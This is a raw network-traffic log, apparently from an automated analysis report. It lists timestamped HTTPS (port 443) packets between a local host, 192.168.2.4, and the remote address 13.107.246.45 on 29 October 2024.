Oct 29, 2024 20:38:17.237453938 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.237466097 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.237493992 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.237597942 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.274707079 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.274740934 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.274820089 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.274841070 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.274854898 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.274960041 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.340632915 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.340675116 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.340742111 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.340754032 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.340790033 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.340864897 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.356971025 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.357008934 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.357106924 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.357106924 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.357124090 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.357201099 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.404356956 CET	443	49879	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.405107975 CET	49879	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.405123949 CET	443	49879	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.405659914 CET	49879	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.405666113 CET	443	49879	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.407535076 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.407566071 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.407632113 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.407632113 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.407658100 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.407784939 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.455851078 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.455889940 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.455950975 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.455961943 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.455998898 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.455998898 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.472467899 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.472502947 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.472568989 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.472582102 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.472637892 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.472784996 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.514105082 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.514153957 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.514202118 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.514214039 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.514431000 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.533889055 CET	443	49879	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.534085035 CET	443	49879	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.534284115 CET	49879	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.536942005 CET	49879	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.536969900 CET	443	49879	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.536977053 CET	49879	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.536983013 CET	443	49879	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.541213036 CET	49884	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.541259050 CET	443	49884	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.541344881 CET	49884	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.541584015 CET	49884	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.541601896 CET	443	49884	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.547632933 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.547668934 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.547703981 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.547710896 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.547755003 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.565032005 CET	443	49881	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.565726995 CET	49881	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.565751076 CET	443	49881	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.566248894 CET	49881	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.566255093 CET	443	49881	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.570456028 CET	443	49880	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.570931911 CET	49880	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.570969105 CET	443	49880	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.571413040 CET	49880	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.571419954 CET	443	49880	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.581317902 CET	443	49882	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.581784010 CET	49882	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.581798077 CET	443	49882	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.582345963 CET	49882	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.582351923 CET	443	49882	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.588046074 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.588079929 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.588148117 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.588165045 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.588190079 CET	443	49883	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.588236094 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.588236094 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.588710070 CET	49883	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.588721991 CET	443	49883	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.589308023 CET	49883	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.589317083 CET	443	49883	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.630197048 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.630223989 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.630285025 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.630300045 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.630347967 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.630348921 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.663106918 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.663141966 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.663187981 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.663202047 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.663278103 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.687285900 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.687330961 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.687397003 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.687414885 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.687458992 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.687458992 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.704929113 CET	443	49880	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.705004930 CET	443	49880	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.705085993 CET	49880	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.705092907 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.705110073 CET	443	49880	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.705128908 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.705180883 CET	49880	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.705183983 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.705192089 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.705218077 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.705243111 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.705475092 CET	49880	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.705497980 CET	443	49880	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.705513954 CET	49880	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.705519915 CET	443	49880	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.711891890 CET	443	49881	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.712059975 CET	49885	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.712096930 CET	443	49885	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.712146997 CET	443	49881	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.712167025 CET	443	49882	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.712188005 CET	49885	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.712230921 CET	49881	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.712328911 CET	49881	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.712343931 CET	443	49881	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.712356091 CET	49881	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.712363005 CET	443	49881	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.712584019 CET	49885	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.712594986 CET	443	49885	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.712727070 CET	443	49882	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.712763071 CET	443	49882	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.712817907 CET	49882	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.712857008 CET	49882	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.712857008 CET	49882	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.712877989 CET	443	49882	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.712888002 CET	443	49882	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.715687037 CET	49886	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.715723038 CET	443	49886	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.715816975 CET	49886	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.715964079 CET	49886	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.715986013 CET	443	49886	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.718226910 CET	49887	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.718240976 CET	443	49887	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.718312979 CET	49887	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.718429089 CET	49887	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.718437910 CET	443	49887	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.725287914 CET	443	49883	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.725363970 CET	443	49883	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.725424051 CET	49883	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.725642920 CET	49883	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.725652933 CET	443	49883	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.728302002 CET	49888	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.728343964 CET	443	49888	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.728441954 CET	49888	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.728662968 CET	49888	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.728677988 CET	443	49888	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.758080959 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.758111000 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.758219004 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.758229017 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.758301020 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.778914928 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.778947115 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.779066086 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.779086113 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.779099941 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.779213905 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.803181887 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.803210020 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.803335905 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.803349018 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.803400993 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.860826969 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.860855103 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.860933065 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.860946894 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.861067057 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.893847942 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.893876076 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.893939972 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.893955946 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.894001007 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.894001007 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.895010948 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.895035028 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.895081997 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.895092010 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.895153999 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.895153999 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.934685946 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.934712887 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.934822083 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.934822083 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.934834003 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.934901953 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.981453896 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.981482029 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.982736111 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:17.982748985 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:17.983021975 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.009301901 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.009331942 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.009429932 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.009445906 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.009489059 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.009489059 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.011066914 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.011087894 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.011225939 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.011233091 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.011285067 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.050004959 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.050076008 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.050149918 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.050149918 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.050168991 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.050225019 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.097126961 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.097186089 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.097210884 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.097239017 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.097294092 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.097430944 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.097455025 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.097469091 CET	49863	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.097475052 CET	443	49863	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.296716928 CET	443	49884	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.297653913 CET	49884	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.297682047 CET	443	49884	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.297935963 CET	49884	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.297941923 CET	443	49884	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.427062988 CET	443	49884	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.427104950 CET	443	49884	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.427170038 CET	443	49884	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.427474022 CET	49884	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.427474022 CET	49884	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.428193092 CET	49884	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.428208113 CET	443	49884	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.432832003 CET	49889	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.432857037 CET	443	49889	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.433096886 CET	49889	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.433096886 CET	49889	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.433125019 CET	443	49889	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.443614960 CET	443	49887	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.444355011 CET	49887	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.444374084 CET	443	49887	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.445071936 CET	49887	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.445080996 CET	443	49887	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.461836100 CET	443	49886	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.462574005 CET	49886	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.462590933 CET	443	49886	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.463614941 CET	49886	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.463623047 CET	443	49886	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.469579935 CET	443	49888	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.470386028 CET	49888	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.470400095 CET	443	49888	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.470793962 CET	49888	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.470798016 CET	443	49888	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.491899014 CET	443	49885	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.492506027 CET	49885	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.492517948 CET	443	49885	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.493019104 CET	49885	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.493031025 CET	443	49885	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.572448969 CET	443	49887	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.572499990 CET	443	49887	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.572773933 CET	49887	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.572773933 CET	49887	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.572897911 CET	49887	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.572911978 CET	443	49887	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.575687885 CET	49890	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.575726032 CET	443	49890	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.575783968 CET	49890	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.576224089 CET	49890	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.576244116 CET	443	49890	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.595103979 CET	443	49886	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.595237017 CET	443	49886	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.595556021 CET	49886	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.595556021 CET	49886	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.595700979 CET	49886	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.595722914 CET	443	49886	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.600537062 CET	49891	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.600589037 CET	443	49891	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.600874901 CET	49891	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.601006031 CET	49891	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.601013899 CET	443	49891	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.617028952 CET	443	49888	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.617062092 CET	443	49888	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.617105007 CET	443	49888	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.617134094 CET	49888	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.617284060 CET	49888	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.617284060 CET	49888	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.617314100 CET	49888	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.617331982 CET	443	49888	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.620731115 CET	49892	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.620769978 CET	443	49892	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.620865107 CET	49892	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.621707916 CET	49892	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.621720076 CET	443	49892	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.628091097 CET	443	49885	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.628163099 CET	443	49885	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.628964901 CET	49885	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.628966093 CET	49885	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.628997087 CET	49885	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.629008055 CET	443	49885	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.631613016 CET	49893	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.631642103 CET	443	49893	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:18.631841898 CET	49893	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.631841898 CET	49893	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:18.631866932 CET	443	49893	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.219511986 CET	443	49889	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.270154953 CET	49889	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.329097033 CET	49889	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.329127073 CET	443	49889	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.330133915 CET	49889	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.330144882 CET	443	49889	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.342619896 CET	443	49890	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.343259096 CET	49890	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.343287945 CET	443	49890	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.344631910 CET	49890	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.344638109 CET	443	49890	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.357531071 CET	443	49891	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.358272076 CET	49891	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.358299017 CET	443	49891	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.361015081 CET	49891	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.361035109 CET	443	49891	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.364351988 CET	443	49892	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.372049093 CET	49892	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.372081041 CET	443	49892	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.388751030 CET	49892	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:19.388760090 CET	443	49892	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:19.420403004 CET	443	49893	13.107.246.45	192.168.2.4
